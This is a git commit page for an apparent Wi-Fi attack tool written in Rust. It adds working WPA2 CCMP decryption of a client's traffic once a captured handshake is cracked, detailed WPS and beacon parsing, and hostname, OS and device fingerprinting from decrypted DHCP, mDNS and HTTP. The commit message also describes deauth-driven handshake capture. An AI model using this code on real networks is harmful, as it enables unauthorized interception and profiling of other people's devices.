fix: captura de handshake real (endianness EAPOL) e enriquece o parsing 802.11

- eapol.rs: key_info/replay_counter/key_data_len liam little-endian; são
  big-endian (802.1X segue ordem de rede), então handshakes reais nunca
  fechavam mesmo com deauth funcionando. testutil.rs e os geradores de
  quadro de teste corrigidos junto, mais um teste contra bytes de wire
  reais (não só contra o próprio encoder).
- inject.rs: deauth/disassoc agora grava Sequence Control crescente por
  quadro — reenviar o mesmo quadro era descartado como duplicata pelo
  driver/AP depois do primeiro envio.
- dot11.rs/scan.rs: parsing de AP/cliente bem mais completo (PMF
  obrigatório, WPS detalhado, fabricante por OUI, país, largura de banda,
  padrão PHY, privacidade) e histórico de sinal/eventos por cliente.
- handshake.rs/ccmp.rs: deriva a Temporal Key (CCMP) quando a senha é
  quebrada, o suficiente pra decifrar o tráfego em claro do par
  (BSSID, estação) cujo handshake foi capturado.
This commit is contained in:
Lucas Rayan committed 2026-10-24 14:53:32 -03:00
1 parent dab86d1fa7
commit 5477b8fb03
10 files changed
+2523 -19

No files matched your search

+173
View File
@@ -0,0 +1,173 @@
//! Decriptação CCMP (WPA2-AES) de quadros de dados, usando a TK já derivada
//! de um handshake quebrado.
//!
//! Isso não serve pra forjar nem reinjetar nada — só pra enxergar o conteúdo
//! em claro (DHCP, mDNS) de um cliente cuja senha da rede já foi recuperada
//! por dicionário, e assim extrair hostname/fabricante de verdade em vez de
//! só o MAC. A chave é par (BSSID, estação): só decifra tráfego do cliente
//! cujo próprio handshake foi capturado e quebrado, nunca de terceiros —
//! cada associação tem sua PTK efêmera, então a senha da rede sozinha não
//! abre o tráfego de quem a gente não viu entrar.
//!
//! Implementa só o modo CTR (a parte que decifra o conteúdo). O MIC
//! (CBC-MAC) não é conferido: a intenção aqui é mostrar o payload de um
//! tráfego que a gente já pode decifrar porque a senha é conhecida, não
//! provar integridade de um quadro adulterado — e implementar o AAD/CBC-MAC
//! certinho exigiria replicar o mascaramento do cabeçalho 802.11 inteiro
//! sem ganho prático pro que isso serve aqui.
use aes::cipher::{BlockEncrypt, KeyInit};
use aes::Aes128;
/// Decifra o corpo de um quadro de dados CCMP, a partir do cabeçalho CCMP
/// (8 bytes) em diante — ou seja, `body` é `frame.body[frame.header_len..]`.
/// `transmitter` é o endereço 2 (A2) do quadro — o rádio que o enviou, não o
/// BSSID/estação lógicos. `qos_tid` é o TID do QoS Control (0 se não-QoS).
///
/// Retorna o LLC/SNAP + payload em claro (o mesmo formato que um quadro não
/// protegido teria), sem os 8 bytes de MIC cifrado no final.
pub fn decrypt_data(
tk: &[u8; 16],
transmitter: &[u8; 6],
qos_tid: u8,
body: &[u8],
) -> Option<Vec<u8>> {
const HEADER_LEN: usize = 8;
const MIC_LEN: usize = 8;
if body.len() < HEADER_LEN + MIC_LEN {
return None;
}
let pn0 = body[0];
let pn1 = body[1];
let key_id_octet = body[3];
// ExtIV (bit 5) precisa estar ligado — senão não é um cabeçalho CCMP de
// verdade (podia ser WEP de 4 bytes por coincidência de layout).
if key_id_octet & 0x20 == 0 {
return None;
}
let pn2 = body[4];
let pn3 = body[5];
let pn4 = body[6];
let pn5 = body[7];
let ciphertext_and_mic = &body[HEADER_LEN..];
let ciphertext = &ciphertext_and_mic[..ciphertext_and_mic.len() - MIC_LEN];
// Nonce CCMP (13 bytes): flags/prioridade (1) || A2 (6) || PN, do byte
// mais significativo (PN5) ao menos significativo (PN0).
let mut nonce = [0u8; 13];
nonce[0] = qos_tid & 0x0f;
nonce[1..7].copy_from_slice(transmitter);
nonce[7] = pn5;
nonce[8] = pn4;
nonce[9] = pn3;
nonce[10] = pn2;
nonce[11] = pn1;
nonce[12] = pn0;
let cipher = Aes128::new(tk.into());
let mut out = Vec::with_capacity(ciphertext.len());
let mut counter: u16 = 1; // o bloco de contador 0 cifra só o MIC, não dado.
for chunk in ciphertext.chunks(16) {
let mut block = [0u8; 16];
block[0] = 0x01; // flag octet do CCMP counter mode (L=1, sem AAD aqui)
block[1..14].copy_from_slice(&nonce);
block[14..16].copy_from_slice(&counter.to_be_bytes());
let mut keystream = block.into();
cipher.encrypt_block(&mut keystream);
for (c, k) in chunk.iter().zip(keystream.iter()) {
out.push(c ^ k);
}
counter = counter.wrapping_add(1);
}
Some(out)
}
#[cfg(test)]
mod tests {
use super::*;
/// AES-128 do FIPS-197 (vetor de referência oficial do NIST): confirma
/// que a cifra de bloco usada embaixo está correta antes de confiar no
/// contador CTR por cima dela.
#[test]
fn aes128_matches_fips197_vector() {
let key: [u8; 16] = [
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d,
0x0e, 0x0f,
];
let plaintext: [u8; 16] = [
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd,
0xee, 0xff,
];
let expected: [u8; 16] = [
0x69, 0xc4, 0xe0, 0xd8, 0x6a, 0x7b, 0x04, 0x30, 0xd8, 0xcd, 0xb7, 0x80, 0x70, 0xb4,
0xc5, 0x5a,
];
let cipher = Aes128::new(&key.into());
let mut block = plaintext.into();
cipher.encrypt_block(&mut block);
assert_eq!(block.as_slice(), &expected);
}
/// Round-trip de auto-consistência: decifrar um texto que a própria
/// função "cifrou" (mesmo algoritmo, usado nos dois sentidos — CTR é
/// simétrico) tem que devolver o original. Isso pega bug de indexação
/// no nonce/contador mesmo sem um vetor de teste oficial do CCMP à mão.
#[test]
fn ctr_round_trip_recovers_plaintext() {
let tk = [0x42u8; 16];
let transmitter = [0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff];
let plaintext = b"AA AA 03 00 00 00 08 00 payload de teste bem maior que um bloco de 16 bytes para cobrir mais de uma rodada do contador";
// Monta um "quadro" CCMP cifrando manualmente com a mesma lógica de
// keystream (ela é simétrica: XOR com o keystream cifra e decifra).
let header = [0x11u8, 0x22, 0x00, 0x20, 0x33, 0x44, 0x55, 0x66]; // ExtIV ligado
let mut nonce = [0u8; 13];
nonce[0] = 3; // TID
nonce[1..7].copy_from_slice(&transmitter);
nonce[7] = header[7];
nonce[8] = header[6];
nonce[9] = header[5];
nonce[10] = header[4];
nonce[11] = header[1];
nonce[12] = header[0];
let cipher = Aes128::new(&tk.into());
let mut ciphertext = Vec::with_capacity(plaintext.len());
let mut counter: u16 = 1;
for chunk in plaintext.chunks(16) {
let mut block = [0u8; 16];
block[0] = 0x01;
block[1..14].copy_from_slice(&nonce);
block[14..16].copy_from_slice(&counter.to_be_bytes());
let mut keystream = block.into();
cipher.encrypt_block(&mut keystream);
for (p, k) in chunk.iter().zip(keystream.iter()) {
ciphertext.push(p ^ k);
}
counter = counter.wrapping_add(1);
}
ciphertext.extend_from_slice(&[0u8; 8]); // MIC fictício, ignorado na decriptação
let mut body = Vec::new();
body.extend_from_slice(&header);
body.extend_from_slice(&ciphertext);
let out = decrypt_data(&tk, &transmitter, 3, &body).expect("decifra");
assert_eq!(out, plaintext);
}
#[test]
fn rejects_body_without_extiv_bit() {
let tk = [0u8; 16];
let body = [0u8; 20]; // key_id_octet (índice 3) sem o bit ExtIV
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
}
#[test]
fn rejects_body_too_short() {
let tk = [0u8; 16];
let body = [0u8; 10];
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
}
}
+807 -1
View File
@@ -79,7 +79,33 @@ pub struct ManagementInfo {
pub akm: Vec<String>,
pub wps: bool,
pub pmf: bool,
pub pmf_required: bool,
pub country: Option<String>,
pub beacon_interval: Option<u16>,
pub privacy: bool,
pub phy: Vec<String>,
pub width_mhz: Option<u16>,
pub wps_locked: Option<bool>,
pub wps_version: Option<String>,
pub wps_manufacturer: Option<String>,
pub wps_model: Option<String>,
pub wps_model_number: Option<String>,
pub wps_device_name: Option<String>,
pub wps_serial: Option<String>,
}
/// Pistas de identidade tiradas de payload em claro (DHCP, mDNS/DNS, SSDP,
/// HTTP e ARP). Redes criptografadas não expõem nada disso; nesse caso os
/// campos ficam vazios e a UI mostra só MAC, OUI e probes.
#[derive(Debug, Clone, Default)]
pub struct PayloadInfo {
pub ip: Option<String>,
pub hostname: Option<String>,
pub os: Option<String>,
pub device: Option<String>,
pub manufacturer: Option<String>,
pub model: Option<String>,
pub service: Option<String>,
}
#[derive(Debug, Clone, Copy, Default)]
@@ -323,6 +349,13 @@ impl<'a> Frame<'a> {
let mut wpa1_present = false;
let mut rsn = RsnInfo::default();
if matches!(self.kind, FrameKind::Beacon | FrameKind::ProbeResponse)
&& self.body.len() >= 24 + 12
{
info.beacon_interval = Some(u16::from_le_bytes([self.body[24 + 8], self.body[24 + 9]]));
}
info.privacy = privacy;
let mut i = 0usize;
while i + 2 <= ies.len() {
let tag = ies[i];
@@ -346,15 +379,44 @@ impl<'a> Frame<'a> {
7 if len >= 2 => {
info.country = Some(String::from_utf8_lossy(&val[0..2]).into_owned())
}
45 => {
add_phy(&mut info.phy, "n");
if info.width_mhz.is_none() {
info.width_mhz = Some(20);
}
}
48 => {
rsn_present = true;
if let Some(parsed) = parse_rsn(val) {
rsn = parsed;
}
}
61 if len >= 2 => {
if info.width_mhz.is_none() || info.width_mhz == Some(20) {
info.width_mhz = Some(if val[1] & 0x04 != 0 { 40 } else { 20 });
}
}
191 => add_phy(&mut info.phy, "ac"),
192 if !val.is_empty() => {
add_phy(&mut info.phy, "ac");
info.width_mhz = Some(match val[0] {
1 => 80,
2 => 160,
3 => 80,
_ => info.width_mhz.unwrap_or(20),
});
}
221 if len >= 4 && val[0..3] == [0x00, 0x50, 0xF2] => match val[3] {
1 => wpa1_present = true,
4 => info.wps = true,
4 => {
info.wps = true;
parse_wps(val, &mut info);
}
_ => {}
},
255 if !val.is_empty() => match val[0] {
35 | 36 => add_phy(&mut info.phy, "ax"),
106 | 108 => add_phy(&mut info.phy, "be"),
_ => {}
},
_ => {}
@@ -363,6 +425,7 @@ impl<'a> Frame<'a> {
}
info.pmf = rsn.caps & 0x00c0 != 0;
info.pmf_required = rsn.caps & 0x0040 != 0;
if rsn_present {
info.cipher = rsn.cipher.map(|c| c.label().to_string());
info.akm = rsn.akm.labels();
@@ -405,6 +468,598 @@ impl<'a> Frame<'a> {
let end = (start + 4 + len).min(self.body.len());
self.body.get(start..end)
}
/// Tenta identificar a estação por payload não criptografado. Só olha
/// dados em claro; em WPA2/WPA3 o conteúdo é opaco e retorna vazio — a
/// menos que a senha já tenha sido quebrada (ver [`Self::ccmp_payload`]
/// + [`payload_info_from_llc`]).
pub fn payload_info(&self) -> PayloadInfo {
if self.protected || !self.kind.is_data() {
return PayloadInfo::default();
}
let Some(payload) = self.body.get(self.header_len..) else {
return PayloadInfo::default();
};
payload_info_from_llc(payload)
}
/// TID do campo QoS Control, quando o quadro é QoS Data. `None` pra
/// dados não-QoS (o nonce do CCMP usa TID 0 nesse caso).
pub fn qos_tid(&self) -> Option<u8> {
if !self.kind.is_data() {
return None;
}
let subtype = (self.fc >> 4) & 0b1111;
if subtype & 0x8 == 0 {
return None;
}
let mut offset = 24;
if self.to_ds && self.from_ds {
offset += 6;
}
self.body.get(offset).map(|b| b & 0x0f)
}
/// Decifra um quadro de dados CCMP com a TK já derivada (handshake
/// quebrado) e devolve o LLC/SNAP + payload em claro, no mesmo formato
/// que um quadro não protegido teria. `None` se o quadro não for CCMP
/// protegido ou os bytes não baterem com um cabeçalho CCMP válido.
pub fn ccmp_payload(&self, tk: &[u8; 16]) -> Option<Vec<u8>> {
if !self.protected || !self.kind.is_data() {
return None;
}
let transmitter = self.addr2?;
let tid = self.qos_tid().unwrap_or(0);
let body = self.body.get(self.header_len..)?;
crate::ccmp::decrypt_data(tk, &transmitter, tid, body)
}
}
/// LLC/SNAP (AA AA 03 00 00 00 + ethertype) seguido do payload em claro —
/// compartilhado entre quadros nunca cifrados e quadros CCMP já decifrados
/// com a TK conhecida.
pub fn payload_info_from_llc(payload: &[u8]) -> PayloadInfo {
let mut info = PayloadInfo::default();
let Some(llc) = payload.get(..8) else {
return info;
};
if llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03 {
return info;
}
let ethertype = u16::from_be_bytes([llc[6], llc[7]]);
let Some(rest) = payload.get(8..) else {
return info;
};
match ethertype {
0x0806 => parse_arp(rest, &mut info),
0x0800 => parse_ipv4(rest, &mut info),
_ => {}
}
info
}
fn ipv4_string(bytes: &[u8]) -> Option<String> {
(bytes.len() >= 4).then(|| format!("{}.{}.{}.{}", bytes[0], bytes[1], bytes[2], bytes[3]))
}
fn private_ip(ip: &str) -> bool {
let mut parts = ip.split('.');
let (Some(a), Some(b)) = (
parts.next().and_then(|p| p.parse::<u8>().ok()),
parts.next().and_then(|p| p.parse::<u8>().ok()),
) else {
return false;
};
a == 10
|| (a == 172 && (16..=31).contains(&b))
|| (a == 192 && b == 168)
|| (a == 169 && b == 254)
|| (a == 100 && (64..=127).contains(&b))
}
fn parse_arp(payload: &[u8], info: &mut PayloadInfo) {
if payload.len() < 28
|| u16::from_be_bytes([payload[0], payload[1]]) != 1
|| u16::from_be_bytes([payload[2], payload[3]]) != 0x0800
|| payload[4] != 6
|| payload[5] != 4
{
return;
}
if let Some(ip) = ipv4_string(&payload[14..18]) {
if ip != "0.0.0.0" {
info.ip = Some(ip);
}
}
}
fn parse_ipv4(payload: &[u8], info: &mut PayloadInfo) {
if payload.len() < 20 || payload[0] >> 4 != 4 {
return;
}
let ihl = ((payload[0] & 0x0f) as usize) * 4;
if ihl < 20 || payload.len() < ihl {
return;
}
let protocol = payload[9];
let src = ipv4_string(&payload[12..16]);
let dst = ipv4_string(&payload[16..20]);
if let Some(ip) = &src {
if private_ip(ip) {
info.ip = Some(ip.clone());
}
}
match protocol {
17 => {
let udp = &payload[ihl..];
if udp.len() < 8 {
return;
}
let sport = u16::from_be_bytes([udp[0], udp[1]]);
let dport = u16::from_be_bytes([udp[2], udp[3]]);
let data = &udp[8..];
if sport == 68 || dport == 67 {
parse_dhcp(data, info);
} else if sport == 5353 || dport == 5353 {
parse_dns(data, info, true);
} else if sport == 53 || dport == 53 {
parse_dns(data, info, false);
} else if sport == 1900 || dport == 1900 {
parse_ssdp(data, info);
} else if let Some(ip) = &dst {
if info.ip.is_none() && private_ip(ip) {
info.ip = Some(ip.clone());
}
}
}
6 => {
let tcp = &payload[ihl..];
if tcp.len() < 20 {
return;
}
let data_offset = ((tcp[12] >> 4) as usize) * 4;
let sport = u16::from_be_bytes([tcp[0], tcp[1]]);
let dport = u16::from_be_bytes([tcp[2], tcp[3]]);
if data_offset >= 20 && tcp.len() > data_offset {
let data = &tcp[data_offset..];
if matches!(sport, 80 | 8080 | 8000 | 8888)
|| matches!(dport, 80 | 8080 | 8000 | 8888)
{
parse_http(data, info);
}
}
}
_ => {}
}
}
fn parse_dhcp(data: &[u8], info: &mut PayloadInfo) {
if data.len() < 240 || data[236..240] != [0x63, 0x82, 0x53, 0x63] {
return;
}
let mut requested_ip = None;
let mut message_type = None;
let mut pos = 240usize;
while pos < data.len() {
let code = data[pos];
if code == 255 {
break;
}
if code == 0 {
pos += 1;
continue;
}
if pos + 1 >= data.len() {
break;
}
let len = data[pos + 1] as usize;
let start = pos + 2;
if start + len > data.len() {
break;
}
let val = &data[start..start + len];
match code {
12 => info.hostname = Some(String::from_utf8_lossy(val).trim().to_string()),
50 if len >= 4 => requested_ip = ipv4_string(val),
53 if len == 1 => message_type = Some(val[0]),
60 => {
let vendor = String::from_utf8_lossy(val).trim().to_string();
if let Some(os) = os_from_text(&vendor) {
info.os = Some(os);
}
if let Some(device) = device_from_text(&vendor) {
info.device = Some(device);
}
}
81 => {
let name = String::from_utf8_lossy(val).trim_matches('\0').to_string();
if !name.is_empty() {
info.hostname = Some(name.split('\0').next().unwrap_or(&name).to_string());
}
}
_ => {}
}
pos = start + len;
}
if message_type == Some(3) {
if let Some(ip) = requested_ip {
if ip != "0.0.0.0" {
info.ip = Some(ip);
}
}
}
if info.hostname.as_deref() == Some("") {
info.hostname = None;
}
if let Some(hostname) = info.hostname.as_deref() {
if info.device.is_none() {
info.device = device_from_text(hostname);
}
if info.os.is_none() {
info.os = os_from_text(hostname);
}
}
}
fn dns_name(data: &[u8], mut pos: usize) -> Option<(String, usize)> {
let mut labels = Vec::new();
let mut jumps = 0usize;
let mut end = pos;
let mut jumped = false;
while pos < data.len() && jumps < 16 {
let len = data[pos];
if len == 0 {
if !jumped {
end = pos + 1;
}
break;
}
if len & 0xc0 == 0xc0 {
if pos + 1 >= data.len() {
return None;
}
let ptr = (((len & 0x3f) as usize) << 8) | data[pos + 1] as usize;
if !jumped {
end = pos + 2;
}
pos = ptr;
jumps += 1;
jumped = true;
continue;
}
let len = len as usize;
if pos + 1 + len > data.len() {
return None;
}
labels.push(String::from_utf8_lossy(&data[pos + 1..pos + 1 + len]).into_owned());
pos += 1 + len;
if !jumped {
end = pos;
}
}
if labels.is_empty() {
None
} else {
Some((labels.join("."), end))
}
}
fn parse_dns(data: &[u8], info: &mut PayloadInfo, mdns: bool) {
if data.len() < 12 {
return;
}
let qd = u16::from_be_bytes([data[4], data[5]]) as usize;
let an = u16::from_be_bytes([data[6], data[7]]) as usize;
let mut pos = 12usize;
for _ in 0..qd {
let Some((name, next)) = dns_name(data, pos) else {
return;
};
pos = next + 4;
apply_dns_name(&name, info, mdns);
}
for _ in 0..an.min(24) {
let Some((name, next)) = dns_name(data, pos) else {
return;
};
if next + 10 > data.len() {
return;
}
let kind = u16::from_be_bytes([data[next], data[next + 1]]);
let rdlen = u16::from_be_bytes([data[next + 8], data[next + 9]]) as usize;
let rdata = next + 10;
if rdata + rdlen > data.len() {
return;
}
if kind == 1 && rdlen == 4 {
if let Some(ip) = ipv4_string(&data[rdata..rdata + 4]) {
if private_ip(&ip) && (info.ip.is_none() || info.hostname.is_none()) {
info.ip = Some(ip);
}
}
}
if kind == 16 {
parse_txt(&data[rdata..rdata + rdlen], info);
}
apply_dns_name(&name, info, mdns);
pos = rdata + rdlen;
}
if let Some(ip) = &info.ip {
if !private_ip(ip) {
info.ip = None;
}
}
}
fn apply_dns_name(name: &str, info: &mut PayloadInfo, mdns: bool) {
let lower = name.to_ascii_lowercase();
if let Some(service) = lower.strip_prefix('_') {
info.service = Some(service.split('.').next().unwrap_or(service).to_string());
if let Some(device) = device_from_service(&lower) {
info.device = Some(device);
}
return;
}
if mdns && lower.ends_with(".local") {
let host = name.split('.').next().unwrap_or(name);
if !host.is_empty() {
info.hostname = Some(host.to_string());
if let Some(device) = device_from_text(host) {
info.device = Some(device);
}
if let Some(os) = os_from_text(host) {
info.os = Some(os);
}
}
}
}
fn parse_txt(data: &[u8], info: &mut PayloadInfo) {
let mut pos = 0usize;
while pos < data.len() {
let len = data[pos] as usize;
pos += 1;
if pos + len > data.len() {
break;
}
let txt = String::from_utf8_lossy(&data[pos..pos + len]);
pos += len;
let mut parts = txt.splitn(2, '=');
let key = parts.next().unwrap_or("").to_ascii_lowercase();
let value = parts.next().unwrap_or("");
match key.as_str() {
"model" | "md" => info.model = Some(value.to_string()),
"os" => info.os = Some(value.to_string()),
"device" | "product" => info.device = Some(value.to_string()),
_ => {}
}
}
}
fn parse_ssdp(data: &[u8], info: &mut PayloadInfo) {
let text = String::from_utf8_lossy(data);
for line in text.lines() {
let Some((key, value)) = line.split_once(':') else {
continue;
};
let key = key.trim().to_ascii_uppercase();
let value = value.trim();
match key.as_str() {
"SERVER" | "USER-AGENT" => {
if let Some(os) = os_from_text(value) {
info.os = Some(os);
}
if let Some(device) = device_from_text(value) {
info.device = Some(device);
}
if let Some(manufacturer) = manufacturer_from_text(value) {
info.manufacturer = Some(manufacturer);
}
info.model = info.model.take().or_else(|| {
value
.split_whitespace()
.find(|part| part.contains('/') && !part.contains("UPnP"))
.map(str::to_string)
});
}
"ST" | "NT" => {
let lower = value.to_ascii_lowercase();
if let Some(device) = device_from_service(&lower) {
info.device = Some(device);
}
info.service = info
.service
.take()
.or_else(|| Some(value.rsplit(':').next().unwrap_or(value).to_string()));
}
_ => {}
}
}
}
fn parse_http(data: &[u8], info: &mut PayloadInfo) {
let text = String::from_utf8_lossy(data);
if !(text.starts_with("GET ") || text.starts_with("POST ") || text.starts_with("HEAD ")) {
return;
}
for line in text.lines().take(64) {
let Some((key, value)) = line.split_once(':') else {
continue;
};
let key = key.trim().to_ascii_lowercase();
let value = value.trim();
match key.as_str() {
"user-agent" | "server" => {
if let Some(os) = os_from_text(value) {
info.os = Some(os);
}
if let Some(device) = device_from_text(value) {
info.device = Some(device);
}
}
"host" if info.hostname.is_none() => {
info.hostname = Some(value.split(':').next().unwrap_or(value).to_string());
}
_ => {}
}
}
}
pub(crate) fn os_from_text(text: &str) -> Option<String> {
let s = text.to_ascii_lowercase();
let os = if s.contains("windows nt 10") || s.contains("windows 10") || s.contains("windows 11")
{
"Windows 10/11"
} else if s.contains("windows") || s.contains("microsoft") {
"Windows"
} else if s.contains("ipados") || s.contains("ipad") {
"iPadOS"
} else if s.contains("iphone")
|| s.contains("ios")
|| s.contains("darwin") && s.contains("mobile")
{
"iOS"
} else if s.contains("mac os x") || s.contains("macintosh") || s.contains("macos") {
"macOS"
} else if s.contains("android") {
"Android"
} else if s.contains("cros") || s.contains("chromeos") {
"ChromeOS"
} else if s.contains("tizen") {
"Tizen"
} else if s.contains("webos") {
"webOS"
} else if s.contains("roku") {
"Roku OS"
} else if s.contains("linux")
|| s.contains("ubuntu")
|| s.contains("debian")
|| s.contains("raspbian")
{
"Linux"
} else {
return None;
};
Some(os.to_string())
}
pub(crate) fn device_from_text(text: &str) -> Option<String> {
let s = text.to_ascii_lowercase();
let device = if s.contains("iphone")
|| s.contains("galaxy")
|| s.contains("pixel")
|| s.contains("redmi")
|| s.contains("smartphone")
|| s.contains("phone")
|| s.contains("moto ")
{
"smartphone"
} else if s.contains("ipad") || s.contains("tablet") {
"tablet"
} else if s.contains("macbook")
|| s.contains("thinkpad")
|| s.contains("laptop")
|| s.contains("notebook")
{
"laptop"
} else if s.contains("printer")
|| s.contains("laserjet")
|| s.contains("officejet")
|| s.contains("mfc-")
{
"impressora"
} else if s.contains("chromecast")
|| s.contains("appletv")
|| s.contains("fire tv")
|| s.contains("firetv")
|| s.contains("roku")
|| s.contains("smart tv")
|| s.contains("bravia")
|| s.contains("tv")
{
"TV/streaming"
} else if s.contains("camera") || s.contains("câmera") || s.contains("ipc") {
"câmera"
} else if s.contains("watch") {
"wearable"
} else if s.contains("echo")
|| s.contains("alexa")
|| s.contains("google home")
|| s.contains("nest")
{
"assistente"
} else if s.contains("raspberry") {
"SBC"
} else if s.contains("esp32")
|| s.contains("esp8266")
|| s.contains("shelly")
|| s.contains("sonoff")
|| s.contains("tuya")
{
"IoT"
} else if s.contains("desktop")
|| s.contains("laptop")
|| s.contains("windows")
|| s.contains("pc")
{
"computador"
} else {
return None;
};
Some(device.to_string())
}
fn device_from_service(service: &str) -> Option<String> {
let s = service.to_ascii_lowercase();
let device = if s.contains("_airplay")
|| s.contains("_raop")
|| s.contains("_googlecast")
|| s.contains("_spotify-connect")
{
"TV/streaming"
} else if s.contains("_ipp") || s.contains("_printer") || s.contains("_pdl-datastream") {
"impressora"
} else if s.contains("_smb") || s.contains("_workstation") || s.contains("_device-info") {
"computador"
} else if s.contains("_homekit") || s.contains("_hap") {
"IoT"
} else if s.contains("_ssh") || s.contains("_sftp-ssh") {
"servidor"
} else {
return None;
};
Some(device.to_string())
}
fn manufacturer_from_text(text: &str) -> Option<String> {
let s = text.to_ascii_lowercase();
let name = if s.contains("apple") {
"Apple"
} else if s.contains("samsung") {
"Samsung"
} else if s.contains("microsoft") || s.contains("windows") {
"Microsoft"
} else if s.contains("google") {
"Google"
} else if s.contains("sony") {
"Sony"
} else if s.contains("lg electronics") || s.starts_with("lg ") {
"LG"
} else if s.contains("roku") {
"Roku"
} else if s.contains("huawei") {
"Huawei"
} else if s.contains("xiaomi") {
"Xiaomi"
} else if s.contains("synology") {
"Synology"
} else if s.contains("raspberry") {
"Raspberry Pi"
} else {
return None;
};
Some(name.to_string())
}
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
@@ -441,6 +1096,47 @@ fn classify(rsn_present: bool, wpa1_present: bool, privacy: bool, rsn: RsnInfo)
Security::Open
}
fn add_phy(phy: &mut Vec<String>, value: &str) {
if !phy.iter().any(|p| p == value) {
phy.push(value.to_string());
}
}
/// Information Element de WPS (vendor 00:50:f2 tipo 4). O conteúdo começa
/// com a versão do protocolo e segue em atributos TLV de 16 bits.
fn parse_wps(val: &[u8], info: &mut ManagementInfo) {
if val.len() < 6 {
return;
}
let version = u16::from_be_bytes([val[4], val[5]]);
info.wps_version = Some(match version {
0x10 => "1.0".into(),
0x11 => "2.0".into(),
other => format!("0x{other:04x}"),
});
let mut pos = 6usize;
while pos + 4 <= val.len() {
let attr = u16::from_be_bytes([val[pos], val[pos + 1]]);
let len = u16::from_be_bytes([val[pos + 2], val[pos + 3]]) as usize;
let start = pos + 4;
if start + len > val.len() {
break;
}
let data = &val[start..start + len];
let text = || String::from_utf8_lossy(data).trim().to_string();
match attr {
0x1011 => info.wps_device_name = Some(text()),
0x1021 => info.wps_manufacturer = Some(text()),
0x1023 => info.wps_model = Some(text()),
0x1024 => info.wps_model_number = Some(text()),
0x1042 => info.wps_serial = Some(text()),
0x1057 if len == 1 => info.wps_locked = Some(data[0] != 0),
_ => {}
}
pos = start + len;
}
}
fn parse_rsn(val: &[u8]) -> Option<RsnInfo> {
if val.len() < 8 {
return None;
@@ -665,6 +1361,116 @@ mod tests {
assert!(parsed.eapol().is_none());
}
fn data_with_ethertype(ethertype: u16, payload: &[u8]) -> Vec<u8> {
let mut f = Vec::new();
f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&mac(0x11)); // addr1 = AP
f.extend_from_slice(&mac(0x22)); // addr2 = cliente
f.extend_from_slice(&mac(0x11)); // addr3 = AP
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&[0xAA, 0xAA, 0x03, 0, 0, 0]);
f.extend_from_slice(&ethertype.to_be_bytes());
f.extend_from_slice(payload);
f
}
fn data_with_payload(payload: &[u8]) -> Vec<u8> {
data_with_ethertype(0x0800, payload)
}
#[test]
fn extracts_ip_from_arp() {
let mut arp = Vec::new();
arp.extend_from_slice(&1u16.to_be_bytes());
arp.extend_from_slice(&0x0800u16.to_be_bytes());
arp.push(6);
arp.push(4);
arp.extend_from_slice(&1u16.to_be_bytes());
arp.extend_from_slice(&mac(0x22));
arp.extend_from_slice(&[192, 168, 1, 42]);
arp.extend_from_slice(&[0u8; 6]);
arp.extend_from_slice(&[192, 168, 1, 1]);
let frame = data_with_ethertype(0x0806, &arp);
let parsed = parse(&frame).expect("frame");
assert_eq!(parsed.payload_info().ip.as_deref(), Some("192.168.1.42"));
}
#[test]
fn extracts_hostname_and_os_from_mdns() {
let mut dns = vec![0u8; 12];
dns[5] = 1; // qdcount
for label in ["Lucass-iPhone", "local"] {
dns.push(label.len() as u8);
dns.extend_from_slice(label.as_bytes());
}
dns.push(0);
dns.extend_from_slice(&1u16.to_be_bytes());
dns.extend_from_slice(&1u16.to_be_bytes());
let mut udp = Vec::new();
udp.extend_from_slice(&5353u16.to_be_bytes());
udp.extend_from_slice(&5353u16.to_be_bytes());
udp.extend_from_slice(&((8 + dns.len()) as u16).to_be_bytes());
udp.extend_from_slice(&[0u8; 2]);
udp.extend_from_slice(&dns);
let mut ip = vec![0x45, 0];
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
ip.extend_from_slice(&[0u8; 5]);
ip.push(17);
ip.extend_from_slice(&[0u8; 2]);
ip.extend_from_slice(&[192, 168, 1, 7]);
ip.extend_from_slice(&[224, 0, 0, 251]);
ip.extend_from_slice(&udp);
let frame = data_with_payload(&ip);
let parsed = parse(&frame).expect("frame");
let info = parsed.payload_info();
assert_eq!(info.hostname.as_deref(), Some("Lucass-iPhone"));
assert_eq!(info.os.as_deref(), Some("iOS"));
assert_eq!(info.device.as_deref(), Some("smartphone"));
assert_eq!(info.ip.as_deref(), Some("192.168.1.7"));
}
#[test]
fn extracts_hostname_and_requested_ip_from_dhcp() {
let mut bootp = vec![0u8; 240];
bootp[0] = 1;
bootp[236..240].copy_from_slice(&[0x63, 0x82, 0x53, 0x63]);
bootp.extend_from_slice(&[53, 1, 3]);
bootp.extend_from_slice(&[50, 4, 192, 168, 1, 50]);
bootp.extend_from_slice(&[12, 7]);
bootp.extend_from_slice(b"pixel-7");
bootp.extend_from_slice(&[60, 15]);
bootp.extend_from_slice(b"android-dhcp-13");
bootp.push(255);
let mut udp = Vec::new();
udp.extend_from_slice(&68u16.to_be_bytes());
udp.extend_from_slice(&67u16.to_be_bytes());
udp.extend_from_slice(&((8 + bootp.len()) as u16).to_be_bytes());
udp.extend_from_slice(&[0u8; 2]);
udp.extend_from_slice(&bootp);
let mut ip = vec![0x45, 0];
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
ip.extend_from_slice(&[0u8; 5]);
ip.push(17);
ip.extend_from_slice(&[0u8; 2]);
ip.extend_from_slice(&[0, 0, 0, 0]);
ip.extend_from_slice(&[255, 255, 255, 255]);
ip.extend_from_slice(&udp);
let frame = data_with_payload(&ip);
let parsed = parse(&frame).expect("frame");
let info = parsed.payload_info();
assert_eq!(info.hostname.as_deref(), Some("pixel-7"));
assert_eq!(info.os.as_deref(), Some("Android"));
assert_eq!(info.device.as_deref(), Some("smartphone"));
assert_eq!(info.ip.as_deref(), Some("192.168.1.50"));
}
#[test]
fn parses_mac_strings() {
assert_eq!(
